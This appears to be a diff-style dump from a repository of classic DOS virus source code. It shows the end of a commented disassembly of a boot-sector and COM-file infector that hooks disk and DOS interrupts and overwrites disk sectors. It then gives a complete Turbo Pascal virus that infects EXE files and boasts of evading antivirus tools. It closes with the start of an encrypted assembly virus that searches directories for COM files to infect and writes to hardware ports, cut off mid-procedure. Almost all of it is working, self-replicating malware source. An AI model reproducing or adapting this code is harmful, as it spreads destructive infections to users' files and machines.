|
||||
mov dl,80h ;hdd nr 0 ;0ABA B2 80
|
||||
int 13h ;0ABC CD 13
|
||||
|
||||
xor ax,ax ;0ABE 33 C0
|
||||
mov ds,ax ;0AC0 8E D8
|
||||
mov word ptr ds:[03D4h],'JM' ;virus sign. ;0AC2 C7 06 03D4 4A4D
|
||||
mov ax,48Bh ;0AC8 B8 048B
|
||||
mov ds:[0070h],ax ;int 1Ch offs ;0ACB A3 0070
|
||||
mov word ptr ds:[0072h],9F00h;int 1Ch seg ;0ACE C7 06 0072 9F00
|
||||
mov ax,0 ;0AD4 B8 0000
|
||||
mov es,ax ;0AD7 8E C0
|
||||
mov bx,7C00h ;oryg.boot buffer ;0AD9 .BB 7C00
|
||||
mov ah,2 ;read ;0ADC B4 02
|
||||
mov al,1 ;1 sector ;0ADE B0 01
|
||||
mov ch,0 ;track=0 ;0AE0 B5 00
|
||||
mov cl,2 ;oryg. boot sector = 2 ;0AE2 B1 02
|
||||
mov dh,0 ;head ;0AE4 B6 00
|
||||
mov dl,80h ;drive ;0AE6 B2 80
|
||||
int 13h ;0AE8 CD 13
|
||||
|
||||
xor ax,ax ;0AEA 33 C0
|
||||
push ax ;0AEC 50
|
||||
mov ax,7C00h ;0AED B8 7C00
|
||||
push ax ;0AF0 50
|
||||
mov bp,sp ;0AF1 8B EC
|
||||
jmp dword ptr [bp] ;0AF3 FF 6E 00
|
||||
;-------End of MBR pattern
|
||||
|
||||
;================================================================
|
||||
; int 1Ch handling routine (wait until DOS establishing vectors)
|
||||
;----------------------------------------------------------------
|
||||
cmp word ptr cs:[30Eh],0 ;0AF6 2E: 83 3E 030E 00
|
||||
jne l_0AFF ;0AFC 75 01
|
||||
iret ;0AFE CF
|
||||
|
||||
l_0AFF: push ax ;0AFF 50
|
||||
push ds ;0B00 1E
|
||||
xor ax,ax ;0B01 33 C0
|
||||
mov ds,ax ;0B03 8E D8
|
||||
mov word ptr ds:[03D4h],'JM' ;0B05 C7 06 03D4 4A4D
|
||||
dec word ptr cs:[30Eh] ;0B0B 2E: FF 0E 030E
|
||||
cmp word ptr cs:[30Eh],0 ;counter to dest;0B10 2E: 83 3E 030E 00
|
||||
jne l_0B54 ;0B16 75 3C
|
||||
cli ;0B18 FA
|
||||
mov byte ptr cs:[30Dh],0 ;destruct.active;0B19 2E: C6 06 030D 00
|
||||
xor ax,ax ;0B1F 33 C0
|
||||
mov ds,ax ;0B21 8E D8
|
||||
mov ax,ds:[084h] ;int 21h offset ;0B23 A1 0084
|
||||
mov word ptr cs:[304h],ax ;0B26 2E: A3 0304
|
||||
mov ax,ds:[086h] ;int 21h segment;0B2A A1 0086
|
||||
mov word ptr cs:[306h],ax ;0B2D 2E: A3 0306
|
||||
mov ax,ds:[04Ch] ;int 13h offset ;0B31 A1 004C
|
||||
mov word ptr cs:[308h],ax ;0B34 2E: A3 0308
|
||||
mov ax,ds:[04Eh] ;int 13h segment;0B38 A1 004E
|
||||
mov word ptr cs:[30Ah],ax ;0B3B 2E: A3 030A
|
||||
;<- int 21h
|
||||
mov word ptr ds:[084h],51Bh ;L_0B86 = offset;0B3F C7 06 0084 051B
|
||||
mov ds:[086h],cs ; segment;0B45 8C 0E 0086
|
||||
;<- int 13h
|
||||
mov word ptr ds:[04Ch],4ECh ;L_0B57 = offset;0B49 C7 06 004C 04EC
|
||||
mov ds:[04Eh],cs ; segment;0B4F 8C 0E 004E
|
||||
|
||||
sti ;0B53 FB
|
||||
l_0B54: pop ds ;0B54 1F
|
||||
pop ax ;0B55 58
|
||||
iret ;0B56 CF
|
||||
|
||||
;===============================================================
|
||||
; Int 13 handling routine - sector destruction
|
||||
;---------------------------------------------------------------
|
||||
CMP BYTE PTR cs:[030Dh],1 ;disable ? ;0B57 2E803E0D0301
|
||||
JZ l_0B81 ;-> yes ;0B5D 7422
|
||||
CMP AH,2 ;0B5F 80FC02
|
||||
JNZ l_0B81 ;0B62 751D
|
||||
INC BYTE PTR cs:[030Ch] ;interval 256 ;0B64 2EFE060C03
|
||||
CMP BYTE PTR cs:[030Ch],00 ;0B69 2E803E0C0300
|
||||
JNZ l_0B81 ;->still waiting;0B6F 7510
|
||||
PUSHF ;0B71 9C
|
||||
CALL dword ptr cs:[0308h] ;int 13h;0B72 2EFF1E0803
|
||||
MOV WORD PTR es:[BX+00C8h],'jm' ;destr. ;0B77 26C787C8006D6A
|
||||
RETF 2 ;0B7E CA0200
|
||||
|
||||
l_0B81: JMP dword ptr cs:[0308h] ;int 13h;0B81 2EFF2E0803
|
||||
|
||||
;===============================================================
|
||||
; Int 21h service routine
|
||||
;---------------------------------------------------------------
|
||||
r_051B: CMP AX,4B00h ;0B86 3D004B
|
||||
JZ l_0B8E ;0B89 7403
|
||||
JMP l_0C5F ;-> oryginal service ;0B8B E9D100
|
||||
|
||||
;<- run program, contamine before
|
||||
l_0B8E: push ax ;0B8E 50
|
||||
push bx ;0B8F 53
|
||||
push cx ;0B90 51
|
||||
push dx ;0B91 52
|
||||
push bp ;0B92 55
|
||||
push di ;0B93 57
|
||||
push si ;0B94 56
|
||||
push ds ;0B95 1E
|
||||
push es ;0B96 06
|
||||
call s_0C64 ;check type of victim ;0B97 E8 00CA
|
||||
jnc l_0B9F ;-> COM ;0B9A 73 03
|
||||
jmp l_0C50 ;-> not COM ;0B9C E9 00B1
|
||||
|
||||
l_0B9F: mov ax,4301h ;set file attribute ;0B9F B8 4301
|
||||
mov cx,0 ;no atributtes ;0BA2 B9 0000
|
||||
int 21h ;0BA5 CD 21
|
||||
|
||||
mov byte ptr cs:[30Dh],1 ;no destruction ;0BA7 2E: C6 06 030D 01
|
||||
mov ah,3Dh ;open file ;0BAD B4 3D
|
||||
mov al,2 ;read/write ;0BAF B0 02
|
||||
int 21h ;0BB1 CD 21
|
||||
|
||||
jnc l_0BB8 ;-> O.K. ;0BB3 73 03
|
||||
jmp l_0C50 ;-> error, exit ;0BB5 E9 0098
|
||||
|
||||
l_0BB8: mov word ptr cs:[32Fh],ax ;file handle ;0BB8 2E: A3 032F
|
||||
call s_0C7F ;check if file infected ;0BBC E8 00C0
|
||||
jnc l_0BC4 ;-> no ;0BBF 73 03
|
||||
jmp l_0C47 ;-> yes ;0BC1 E9 0083
|
||||
|
||||
l_0BC4: xor cx,cx ;offset := 0 ;0BC4 33 C9
|
||||
mov dx,cx ;0BC6 8B D1
|
||||
mov ax,4200h ;move file ptr BOF+offs ;0BC8 B8 4200
|
||||
mov bx,word ptr cs:[32Fh] ;file handle ;0BCB 2E: 8B 1E 032F
|
||||
int 21h ;0BD0 CD 21
|
||||
|
||||
mov cx,4 ;4 bytes ;0BD2 B9 0004
|
||||
mov bx,word ptr cs:[32Fh] ;file handle ;0BD5 2E: 8B 1E 032F
|
||||
mov dx,310h ;L097B = safes ;0BDA .BA 0310
|
||||
mov ah,3Fh ;read file ;0BDD B4 3F
|
||||
push cs ;0BDF 0E
|
||||
pop ds ;0BE0 1F
|
||||
int 21h ;0BE1 CD 21
|
||||
|
||||
jnc l_0BE8 ;-> O.K. ;0BE3 73 03
|
||||
jmp short l_0C47 ;-> ERROR ;0BE5 EB 60
|
||||
nop ;0BE7 90
|
||||
|
||||
l_0BE8: mov ax,4202h ;file ptr EOF+of;0BE8 B8 4202
|
||||
mov bx,word ptr cs:[32Fh] ;file handle ;0BEB 2E: 8B 1E 032F
|
||||
xor cx,cx ;offset=0 ;0BF0 33 C9
|
||||
xor dx,dx ;0BF2 33 D2
|
||||
int 21h ;0BF4 CD 21
|
||||
|
||||
mov word ptr cs:[331h],ax ;L099C = file l.;0BF6 2E: A3 0331
|
||||
cmp dx,0 ;high order word;0BFA 83 FA 00
|
||||
je l_0C02 ;-> LT 64K bytes;0BFD 74 03
|
||||
jmp short l_0C47 ;-> file too big;0BFF EB 46
|
||||
nop ;0C01 90
|
||||
|
||||
l_0C02: and ah,7Fh ;??? ;0C02 80 E4 7F
|
||||
cmp ax,32h ;minimum file size ;0C05 3D 0032
|
||||
jg l_0C0D ;-> O.K. ;0C08 7F 03
|
||||
jmp short l_0C47 ;-> too small ;0C0A EB 3B
|
||||
nop ;0C0C 90
|
||||
|
||||
l_0C0D: mov ah,40h ;file write ;0C0D B4 40
|
||||
mov bx,word ptr cs:[32Fh] ;file handle ;0C0F 2E: 8B 1E 032F
|
||||
mov cx,5E9h ;virus length ;0C14 B9 05E9
|
||||
push cs ;0C17 0E
|
||||
pop ds ;virus segment ;0C18 1F
|
||||
mov dx,100h ;virus offset ;0C19 .BA 0100
|
||||
int 21h ;0C1C CD 21
|
||||
|
||||
mov ax,word ptr cs:[331h] ;file length ;0C1E 2E: A1 0331
|
||||
add ax,54Fh ;(+3 = L0CBD) ;0C22 05 054F
|
||||
mov word ptr cs:[101h],ax ;0C25 2E: A3 0101
|
||||
xor cx,cx ;offset := 0 ;0C29 33 C9
|
||||
xor dx,dx ;0C2B 33 D2
|
||||
mov al,0 ;BOF + offset ;0C2D B0 00
|
||||
mov ah,42h ;set file ptr ;0C2F B4 42
|
||||
mov bx,word ptr cs:[32Fh] ;file handle ;0C31 2E: 8B 1E 032F
|
||||
int 21h ;0C36 CD 21
|
||||
|
||||
mov cx,4 ;4 bytes ;0C38 B9 0004
|
||||
mov ah,40h ;write file ;0C3B B4 40
|
||||
mov bx,word ptr cs:[32Fh] ;file handle ;0C3D 2E: 8B 1E 032F
|
||||
mov dx,100h ;virus start cod;0C42 .BA 0100
|
||||
int 21h ;0C45 CD 21
|
||||
|
||||
;<- Contamination error entry
|
||||
l_0C47: mov bx,word ptr cs:[32Fh] ;file handle ;0C47 2E: 8B 1E 032F
|
||||
mov ah,3Eh ;close file ;0C4C B4 3E
|
||||
int 21h ;0C4E CD 21
|
||||
|
||||
;<-- file not infectable or end of infection
|
||||
l_0C50: mov byte ptr cs:[30Dh],0 ;enable destruct;0C50 2E: C6 06 030D 00
|
||||
pop es ;0C56 07
|
||||
pop ds ;0C57 1F
|
||||
pop si ;0C58 5E
|
||||
pop di ;0C59 5F
|
||||
pop bp ;0C5A 5D
|
||||
pop dx ;0C5B 5A
|
||||
pop cx ;0C5C 59
|
||||
pop bx ;0C5D 5B
|
||||
pop ax ;0C5E 58
|
||||
l_0C5F: jmp dword ptr cs:[304h] ;oryg. int 21h ;0C5F 2E: FF 2E 0304
|
||||
|
||||
;=======================================================
|
||||
; Subroutine - check type of victim
|
||||
;-------------------------------------------------------
|
||||
s_0C64 proc near
|
||||
push ax ;0C64 50
|
||||
push bx ;0C65 53
|
||||
mov bx,dx ;victim name offset ;0C66 8B DA
|
||||
mov al,0 ;End of path char ;0C68 B0 00
|
||||
l_0C6A: inc bx ;0C6A 43
|
||||
cmp [bx],al ;0C6B 38 07
|
||||
jne l_0C6A ;0C6D 75 FB
|
||||
mov ax,4D4Fh ;'MO'- last COM letters ;0C6F B8 4D4F
|
||||
cmp [bx-2],ax ;0C72 39 47 FE
|
||||
je l_0C7B ;-> it's COM ;0C75 74 04
|
||||
stc ;'not infectable' - ptr ;0C77 F9
|
||||
jmp short l_0C7C ;0C78 EB 02
|
||||
db 90h ;0C7A 90
|
||||
l_0C7B: clc ;'infectable' - ptr ;0C7B F8
|
||||
l_0C7C: pop bx ;0C7C 5B
|
||||
pop ax ;0C7D 58
|
||||
retn ;0C7E C3
|
||||
s_0C64 endp
|
||||
|
||||
;=======================================================
|
||||
; Subroutine - check if file infected
|
||||
;-------------------------------------------------------
|
||||
s_0C7F proc near
|
||||
jmp short l_0C83 ;0C7F EB 02
|
||||
nop ;0C81 90
|
||||
|
||||
d_0C82 db 1 ;1 char file buffer ;0C82 01
|
||||
|
||||
l_0C83: push ax ;0C83 50
|
||||
push bx ;0C84 53
|
||||
push cx ;0C85 51
|
||||
push dx ;0C86 52
|
||||
push es ;0C87 06
|
||||
push ds ;0C88 1E
|
||||
push cs ;0C89 0E
|
||||
pop ds ;0C8A 1F
|
||||
mov ax,4200h ;move file ptr BOF+offs ;0C8B B8 4200
|
||||
mov bx,word ptr cs:[32Fh] ;file handle ;0C8E 2E: 8B 1E 032F
|
||||
xor cx,cx ;0C93 33 C9
|
||||
mov dx,3 ;0:3 ;0C95 BA 0003
|
||||
int 21h ;0C98 CD 21
|
||||
|
||||
mov ah,3Fh ;read ;0C9A B4 3F
|
||||
mov cx,1 ;1 byte ;0C9C B9 0001
|
||||
mov bx,word ptr cs:[32Fh] ;file handle ;0C9F 2E: 8B 1E 032F
|
||||
mov dx,0617h ;L_0C82 =file buffer ;0CA4 .BA 0617
|
||||
int 21h ;0CA7 CD 21
|
||||
|
||||
cmp byte ptr cs:[617h],'J' ;infection ptr ;0CA9 2E: 80 3E 0617 4A
|
||||
je l_0CB5 ;-> allready infected ;0CAF 74 04
|
||||
clc ;0CB1 F8
|
||||
jmp short l_0CB6 ;-> ready to infection ;0CB2 EB 02
|
||||
nop ;0CB4 90
|
||||
|
||||
l_0CB5: stc ;<- infected ;0CB5 F9
|
||||
l_0CB6: pop es ;0CB6 07
|
||||
pop ds ;0CB7 1F
|
||||
pop dx ;0CB8 5A
|
||||
pop cx ;0CB9 59
|
||||
pop bx ;0CBA 5B
|
||||
pop ax ;0CBB 58
|
||||
retn ;0CBC C3
|
||||
s_0C7F endp
|
||||
|
||||
;=======================================================
|
||||
; virus entry point
|
||||
;-------------------------------------------------------
|
||||
l_0CBD: call s_099E ;Is virus resident ? ;0CBD E8 FCDE
|
||||
jnc l_0CE0 ;-> no ;0CC0 73 1E
|
||||
|
||||
;<- run victim
|
||||
mov cx,4 ;changed bytes count ;0CC2 B9 0004
|
||||
cld ;0CC5 FC
|
||||
mov di,100h ;address ;0CC6 .BF 0100
|
||||
call s_0CCC ;0CC9 E8 0000
|
||||
|
||||
;------ restore victim byte
|
||||
s_0CCC proc near
|
||||
pop bp ;0CCC 5D
|
||||
sub bp,661h ;l_066B=virus begin-100h;0CCD 81 ED 0661
|
||||
lea si,[bp+310h] ;l_097B ;0CD1 8D B6 0310
|
||||
cld ;0CD5 FC
|
||||
rep movsb ;0CD6 F3/ A4
|
||||
push cs ;0CD8 0E
|
||||
mov ax,offset start ;0CD9 .B8 0100
|
||||
push ax ;0CDC 50
|
||||
retn 0FFFEh ;0CDD C2 FFFE
|
||||
s_0CCC endp
|
||||
|
||||
;<- virus not resident yet
|
||||
l_0CE0: call s_0CE3 ;0CE0 E8 0000
|
||||
|
||||
;------ make virus resident
|
||||
s_0CE3 proc near
|
||||
pop bp ;0CE3 5D
|
||||
sub bp,678h ;=066Bh = vir_beg-100h ;0CE4 81 ED 0678
|
||||
push cs ;0CE8 0E
|
||||
pop ds ;0CE9 1F
|
||||
push cs ;0CEA 0E
|
||||
pop es ;0CEB 07
|
||||
mov di,100h ;0CEC .BF 0100
|
||||
lea si,[bp+100h] ;virus code begin ;0CEF 8D B6 0100
|
||||
cld ;0CF3 FC
|
||||
mov cx,5E9h ;virus length ;0CF4 B9 05E9
|
||||
rep movsb ;overwrite victim code ;0CF7 F3/ A4
|
||||
mov ax,0693h ;= l_0CFB ;0CF9 .B8 0693
|
||||
push ax ;0CFC 50
|
||||
retn ;0CFD C3
|
||||
s_0CE3 endp
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; Run in new place
|
||||
;---------------------------------------------------------------
|
||||
r_0693: MOV DX,0314h ;=l_097F (Bad command..);0CFE BA1403
|
||||
MOV AH,9 ;display string ;0D01 B409
|
||||
INT 21h ;0D03 CD21
|
||||
PUSH CS ;0D05 0E
|
||||
POP DS ;0D06 1F
|
||||
MOV AX,3521h ;get int 21h ;0D07 B82135
|
||||
INT 21h ;0D0A CD21
|
||||
MOV cs:[0304h],BX ;= l_096F ;0D0C 2E891E0403
|
||||
MOV cs:[0306h],ES ;= l_0971 ;0D11 2E8C060603
|
||||
CLI ;0D16 FA
|
||||
XOR AX,AX ;0D17 33C0
|
||||
MOV DS,AX ;0D19 8ED8
|
||||
MOV ds:[86h],CS ;int 21h segment ;0D1B 8C0E8600
|
||||
MOV AX,051Bh ;= l_0B86 ;0D1F B81B05
|
||||
MOV ds:[84h],AX ;int 21h offset ;0D22 A38400
|
||||
STI ;0D25 FB
|
||||
CALL s_09B4 ;Set infection flag ;0D26 E88BFC
|
||||
CALL s_09C3 ;contamine hard disk ;0D29 E897FC
|
||||
PUSH CS ;0D2C 0E
|
||||
POP DS ;0D2D 1F
|
||||
|
||||
MOV AX,3513h ;get int 13h vector ;0D2E B81335
|
||||
INT 21h ;0D31 CD21
|
||||
MOV cs:[0308h],BX ;= l_0973 ;0D33 2E891E0803
|
||||
MOV cs:[030Ah],ES ;= l_0975 ;0D38 2E8C060A03
|
||||
|
||||
MOV DX,04ECh ;= l_0B57 ;0D3D BAEC04
|
||||
MOV AX,2513h ;set int 13h vector ;0D40 B81325
|
||||
INT 21h ;0D43 CD21
|
||||
|
||||
MOV DX,06E9h ;= l_0D54 ;0D45 BAE906
|
||||
MOV CL,4 ;0D48 B104
|
||||
SHR DX,CL ;0D4A D3EA
|
||||
ADD DX,11h ;+256bytes (+alignement);0D4C 83C211
|
||||
MOV AX,3100h ;Terminate&Stay Resident;0D4F B80031
|
||||
INT 21h ;0D52 CD21
|
||||
|
||||
seg_a ends
|
||||
|
||||
end start
|
||||
|
|
@ -0,0 +1,161 @@
|
|||
(*
|
||||
Virus on Pascal.
|
||||
____________________________________________________________________
|
||||
This is a nontsr virus that infects *.exe files and codes the saved-
|
||||
part of the file,so it can be hardly cured!
|
||||
To compile,you'll need TurboPascal(I'm using v.7) and CRT.TPU and
|
||||
DOS.TPU libreries!
|
||||
____________________________________________________________________
|
||||
(c) 1997 by Master of Infection
|
||||
-------------------------------------------
|
||||
*)
|
||||
{$M $1024,0,0} {Get some Memory!}
|
||||
uses dos,crt; {Using libraries}
|
||||
const id='Queen'; {Just my FAVORITE BAND ;-) }
|
||||
long=7504; {Viri's length}
|
||||
mark=$5B7; {Where Queen is in Viri}
|
||||
var mybuf,exebuf:array [1..long] of char; {Arrays to use}
|
||||
f,ff,fff,p:file; {File handles}
|
||||
s,ss,sss:searchrec; {Searchrecords}
|
||||
bufm1:array [1..5] of char; {Yes,One more array}
|
||||
i:word; {And al the rest Variabels...}
|
||||
time,time1,time2:longint;
|
||||
attr,attr1,attr2:byte;
|
||||
q:string;
|
||||
y,j:integer;
|
||||
ee,cmdline:string;
|
||||
coder,decoder:byte;
|
||||
(*
|
||||
You could use one proprocedure,but I'v simply desided
|
||||
to practice in Typing :-)
|
||||
*)
|
||||
procedure decode;
|
||||
begin
|
||||
For y:=1 To long Do {Well,Decode all the bytes in exeBuf array}
|
||||
exeBuf[y]:=Chr(Ord(exeBuf[y]) Xor $7e);
|
||||
end;
|
||||
procedure code;
|
||||
begin
|
||||
For y:=1 To long Do
|
||||
exeBuf[y]:=Chr(Ord(exeBuf[y]) Xor $7e); {We are using here the 7Eh
|
||||
code,to XOR all the array}
|
||||
end;
|
||||
procedure timecomp; {Just to show ourself}
|
||||
label 1,2;
|
||||
begin
|
||||
writeln('(c) 1995 Queen Hitman Virus inc.!');
|
||||
writeln('Ha-ha-ha,You have a virus!');
|
||||
end;
|
||||
procedure execute; {This is a procedure,that will execute the file,
|
||||
we are in now(starting from)}
|
||||
begin
|
||||
findfirst(paramstr(i),anyfile,sss); {Espessially for MR.LOZINSKY!!! :- }
|
||||
if sss.size long then { DON't execute the source! :-( }
|
||||
begin
|
||||
assign(fff,sss.name); {Get the file_name in the handle}
|
||||
attr2:=sss.attr; {Save attributes...}
|
||||
time2:=sss.time; {... and time of the file}
|
||||
reset(fff,1); {Open it!}
|
||||
seek(fff,0); {Head in 0 point}
|
||||
blockread(fff,mybuf,long); {Read from it the begining}
|
||||
seek(fff,sss.size-long); {Put the header in the position:File_Size-Virus_size}
|
||||
blockread(fff,exebuf,long); {And read the source EXE_Header and the file begining}
|
||||
seek(fff,0); {Put the Head in 0}
|
||||
decode; {Decode it!!! For MR.MOSTOVOY :-}
|
||||
blockwrite(fff,exebuf,long); {Save the begining}
|
||||
seek(fff,sss.size-long); {Head in File_Size-Virus_size}
|
||||
truncate(fff); {Delete the end of the file,so if you've infected somthin like DR.WEB it woun't shout! ;-) }
|
||||
close(fff); {And close it!}
|
||||
setfattr(fff,archive); {Well,you know...LMD!!!}
|
||||
setftime(fff,time2);
|
||||
IF ParamCount < 0 Then {NO!!! This thing Executes the file}
|
||||
Begin
|
||||
For I:=1 To ParamCount Do
|
||||
CmdLine:=CmdLine + ' ' + ParamStr(I);
|
||||
End;
|
||||
swapvectors;
|
||||
exec(sss.name,cmdline);
|
||||
swapvectors;
|
||||
reset(fff,1); {Do it in the back sequence!...}
|
||||
code;
|
||||
seek(fff,0);
|
||||
blockwrite(fff,mybuf,long);
|
||||
seek(fff,sss.size-long);
|
||||
blockwrite(fff,exebuf,long);
|
||||
close(fff);
|
||||
setftime(fff,time2);
|
||||
setfattr(fff,attr2);
|
||||
end;
|
||||
end;
|
||||
(*
|
||||
Procedure,that will INFECT the *.EXE files,in the current directory
|
||||
YEAHHH...
|
||||
|
||||
|
||||
*)
|
||||
procedure infect;
|
||||
label next; {Just a label}
|
||||
begin
|
||||
findfirst('*.exe',anyfile,ss); {Find the Victim}
|
||||
while doserror=0 do {While any available}
|
||||
begin
|
||||
if ss.size < long+1 then goto next; {Don't infect smaller then we are!}
|
||||
assign(ff,ss.name); {You already know!}
|
||||
attr1:=ss.attr; {And this too...}
|
||||
time1:=ss.time;
|
||||
setfattr(ff,archive);
|
||||
reset(ff,1);
|
||||
seek(ff,mark); {Put the head in the location of "Queen" in Viri(Check if this file is already infected!)}
|
||||
blockread(ff,bufm1,5); {Read the mark}
|
||||
if bufm1=id then goto next; {If TRUE,Then already infected :-((( }
|
||||
seek(ff,0); {NO!!! :-))) }
|
||||
blockread(ff,exebuf,long); {Copy the file_begining}
|
||||
code; {And code it! :-D }
|
||||
seek(ff,ss.size); {Head=File_End}
|
||||
blockwrite(ff,exebuf,long); {Write the file_begining}
|
||||
seek(ff,0); {Head=0}
|
||||
blockwrite(ff,mybuf,long); {Write Virus!!! :- }
|
||||
close(ff); {And close the file}
|
||||
setftime(ff,time1); {...You know...}
|
||||
setfattr(ff,attr1);
|
||||
next: findnext(ss); {Seek the next victim! ;-))) }
|
||||
end;
|
||||
end;
|
||||
(*
|
||||
This is where the virus starts to think about it's children ;-)
|
||||
HeHehe...
|
||||
*)
|
||||
procedure virusbody;
|
||||
label next; {Label}
|
||||
begin
|
||||
findfirst(paramstr(i),anyfile,s); {Executed file}
|
||||
while doserror=0 do {If available?!?}
|
||||
begin
|
||||
assign(f,s.name); {Cach the file_name in header}
|
||||
attr:=s.attr; {..You..}
|
||||
time:=s.time; {..Know..}
|
||||
setfattr(f,archive); {..All..}
|
||||
reset(f,1); {..This..}
|
||||
seek(f,mark); {Check,if it is a virus(However,here can be a ERROR under DosShell&Win'95) :-((( }
|
||||
blockread(f,bufm1,5);
|
||||
if bufm1=id then {Yes!!! :-)))) }
|
||||
begin
|
||||
seek(f,0); {Copy the Virus_Body(It's source)}
|
||||
blockread(f,mybuf,long);
|
||||
end;
|
||||
close(f);
|
||||
setfattr(f,attr);
|
||||
setftime(f,time); {And BAY!!!}
|
||||
next: findnext(s);
|
||||
end;
|
||||
end;
|
||||
(*
|
||||
Here's the reall beginig...
|
||||
*)
|
||||
begin
|
||||
checkbreak:=false; {LMS,Don't press ^C,It has to be finished!!! :-))) }
|
||||
virusbody; {G }
|
||||
infect; { O }
|
||||
execute; {..O}
|
||||
timecomp; {N.}
|
||||
end. {BAY!!!}
|
|
@ -0,0 +1,337 @@
|
|||
; RANDOM.ASM -- Random To all Ports
|
||||
; Written by The W<>’z!
|
||||
|
||||
virus_type equ 0 ; Appending Virus
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
main proc near
|
||||
db 0E9h,00h,00h ; Near jump (for compatibility)
|
||||
start: call find_offset ; Like a PUSH IP
|
||||
find_offset: pop bp ; BP holds old IP
|
||||
sub bp,offset find_offset ; Adjust for length of host
|
||||
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
|
||||
start_of_code label near
|
||||
|
||||
lea si,[bp + buffer] ; SI points to original start
|
||||
mov di,0100h ; Push 0100h on to stack for
|
||||
push di ; return to main program
|
||||
movsw ; Copy the first two bytes
|
||||
movsb ; Copy the third byte
|
||||
|
||||
mov di,bp ; DI points to start of virus
|
||||
|
||||
mov bp,sp ; BP points to stack
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer on stack
|
||||
int 021h
|
||||
|
||||
call search_files ; Find and infect a file
|
||||
call search_files ; Find and infect another file
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
test dx,0001h ; Is timer divisible by 2?
|
||||
jne no_infection ; If not then don't spread
|
||||
call search_files ; Find and infect a file
|
||||
no_infection:
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 1Ah
|
||||
xchg dx,ax ; AX holds low word of timer
|
||||
mov dx,0FFh ; Start with port 255
|
||||
out_loop: out dx,al ; OUT a value to the port
|
||||
dec dx ; Do the next port
|
||||
jne out_loop ; Repeat until DX = 0
|
||||
|
||||
|
||||
com_end: pop dx ; DX holds original DTA address
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Deallocate local buffer
|
||||
|
||||
xor ax,ax ;
|
||||
mov bx,ax ;
|
||||
mov cx,ax ;
|
||||
mov dx,ax ; Empty out the registers
|
||||
mov si,ax ;
|
||||
mov di,ax ;
|
||||
mov bp,ax ;
|
||||
|
||||
ret ; Return to original program
|
||||
main endp
|
||||
|
||||
search_files proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,64 ; Allocate 64 bytes on stack
|
||||
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 64] ; SI points to 64-byte buffer
|
||||
int 021h
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + root] ; DX points to root directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Start the traversal
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 64] ; DX points to old directory
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Restore old stack pointer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
root db "\",0 ; Root directory
|
||||
search_files endp
|
||||
|
||||
traverse proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first function
|
||||
mov cx,00010000b ; CX holds search attributes
|
||||
lea dx,[di + all_files] ; DX points to "*.*"
|
||||
int 021h
|
||||
jc leave_traverse ; Leave if no files present
|
||||
|
||||
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
||||
jne another_dir ; If not, try again
|
||||
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
||||
je another_dir ;If so, keep going
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 98] ; DX points to new directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Recursively call ourself
|
||||
|
||||
pushf ; Save the flags
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + up_dir] ; DX points to parent directory
|
||||
int 021h
|
||||
popf ; Restore the flags
|
||||
|
||||
jnc done_searching ; If we infected then exit
|
||||
|
||||
another_dir: mov ah,04Fh ; DOS find next function
|
||||
int 021h
|
||||
jnc check_dir ; If found check the file
|
||||
|
||||
leave_traverse:
|
||||
lea dx,[di + com_mask] ; DX points to "*.COM"
|
||||
call find_files ; Try to infect a file
|
||||
done_searching: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
up_dir db "..",0 ; Parent directory name
|
||||
all_files db "*.*",0 ; Directories to search for
|
||||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||||
traverse endp
|
||||
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file: int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
|
||||
